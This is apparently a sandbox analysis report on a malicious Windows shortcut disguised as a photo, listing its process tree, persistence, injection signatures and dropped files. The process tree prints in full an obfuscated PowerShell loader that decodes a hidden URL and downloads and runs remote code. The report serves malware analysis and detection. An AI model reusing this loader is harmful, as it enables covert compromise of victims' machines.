Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:18

General

  • Target
    photov_920857654059.lnk
  • Size 1KB
  • Sample260727-pgmara1grc
  • SHA256 e3462453bcd71e6dfeefb9286e8941a48f4d44a34fa079402f38febe359adf74
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 23 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_920857654059.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5500
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$f_tgp=34;$sdxxxw=38;$ser9uq=[bigint]::Parse('44756601865297967248208790711561263934052261');$sx6xh1vwst=[bigint]::Parse('34804909464590901926200566288744708128977964');$ser9uq=$ser9uq-$sx6xh1vwst;$xt5190b=@();while($ser9uq -gt 0){$xt5190b+=[char][int]([bigint]::Remainder($ser9uq,256));$ser9uq=[bigint]::Divide($ser9uq,256)};.([scriptblock]::Create((irm(-join$xt5190b))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4960
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$f_tgp=34;$sdxxxw=38;$ser9uq=[bigint]::Parse('44756601865297967248208790711561263934052261');$sx6xh1vwst=[bigint]::Parse('34804909464590901926200566288744708128977964');$ser9uq=$ser9uq-$sx6xh1vwst;$xt5190b=@();while($ser9uq -gt 0){$xt5190b+=[char][int]([bigint]::Remainder($ser9uq,256));$ser9uq=[bigint]::Divide($ser9uq,256)};.([scriptblock]::Create((irm(-join$xt5190b))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe
          "C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5492
  • C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe
    "C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1488
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2304
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:2424

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        msvcp140.dll

        • Path C:\ProgramData\GitWinx86\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\ProgramData\GitWinx86\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\ProgramData\GitWinx86\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        uteloprtu_krbvj_pttsro.zip

        • Path C:\Users\Admin\AppData\Local\Temp\uteloprtu_krbvj_pttsro.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\VCRUNTIME140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1056-163-0x00007FFF4C850000-0x00007FFF4C8A2000-memory.dmp

        memory/1056-162-0x00007FFF46520000-0x00007FFF465D6000-memory.dmp

        memory/1056-160-0x00007FFF65B40000-0x00007FFF65C5F000-memory.dmp

        memory/1056-161-0x00007FFF65B10000-0x00007FFF65B36000-memory.dmp

        memory/1056-159-0x00007FF625F40000-0x00007FF6263AF000-memory.dmp

        memory/1248-23-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-3-0x000001DAA1400000-0x000001DAA1422000-memory.dmp

        memory/1248-0-0x00007FFF4B65F000-0x00007FFF4B660000-memory.dmp

        memory/1248-24-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-25-0x000001DABA1C0000-0x000001DABA6E8000-memory.dmp

        memory/1248-26-0x000001DAB9970000-0x000001DAB997A000-memory.dmp

        memory/1248-29-0x000001DAB99A0000-0x000001DAB99B2000-memory.dmp

        memory/1248-20-0x000001DAB9990000-0x000001DAB99BA000-memory.dmp

        memory/1248-64-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-65-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-21-0x000001DAB9990000-0x000001DAB99B4000-memory.dmp

        memory/1248-17-0x000001DAB9930000-0x000001DAB994E000-memory.dmp

        memory/1248-19-0x000001DAB9950000-0x000001DAB995A000-memory.dmp

        memory/1248-18-0x000001DAB9BD0000-0x000001DAB9C82000-memory.dmp

        memory/1248-14-0x000001DAB9A00000-0x000001DAB9BC2000-memory.dmp

        memory/1248-13-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-12-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-11-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-131-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-10-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-9-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-8-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-155-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-22-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-4-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-7-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-6-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1248-5-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

        memory/1488-305-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-317-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-2051-0x0000000005C90000-0x0000000005D22000-memory.dmp

        memory/1488-283-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-2050-0x0000000005160000-0x00000000051C6000-memory.dmp

        memory/1488-287-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-295-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-285-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-309-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-281-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-277-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-289-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-291-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-294-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-2052-0x00000000062F0000-0x00000000068AA000-memory.dmp

        memory/1488-279-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-313-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-315-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-177-0x0000000004BB0000-0x0000000004BDC000-memory.dmp

        memory/1488-311-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-307-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-158-0x0000000000420000-0x0000000000490000-memory.dmp

        memory/1488-303-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-301-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-299-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1488-297-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

        memory/1732-168-0x00007FFF62560000-0x00007FFF62616000-memory.dmp

        memory/1732-169-0x00007FFF56AD0000-0x00007FFF56BEF000-memory.dmp

        memory/1732-172-0x00007FFF62490000-0x00007FFF624E2000-memory.dmp

        memory/1732-175-0x00007FFF64070000-0x00007FFF64096000-memory.dmp

        memory/1732-166-0x00007FF6B87D0000-0x00007FF6B8C3F000-memory.dmp

        memory/2304-241-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-187-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-183-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-254-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-250-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-194-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-237-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-228-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-222-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-218-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-210-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-207-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-205-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-202-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-198-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-191-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-190-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-176-0x0000000001500000-0x000000000151A000-memory.dmp

        memory/2304-185-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-181-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-179-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-178-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-214-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-233-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-164-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/2304-247-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2304-243-0x00000000016B0000-0x00000000016D6000-memory.dmp

        memory/2424-157-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/2428-174-0x00007FFF4C850000-0x00007FFF4C8A2000-memory.dmp

        memory/2428-173-0x00007FFF65B10000-0x00007FFF65B36000-memory.dmp

        memory/2428-171-0x00007FFF46520000-0x00007FFF465D6000-memory.dmp

        memory/2428-170-0x00007FFF65B40000-0x00007FFF65C5F000-memory.dmp

        memory/2428-167-0x00007FF625F40000-0x00007FF6263AF000-memory.dmp

        memory/5492-165-0x0000000000150000-0x00000000001C0000-memory.dmp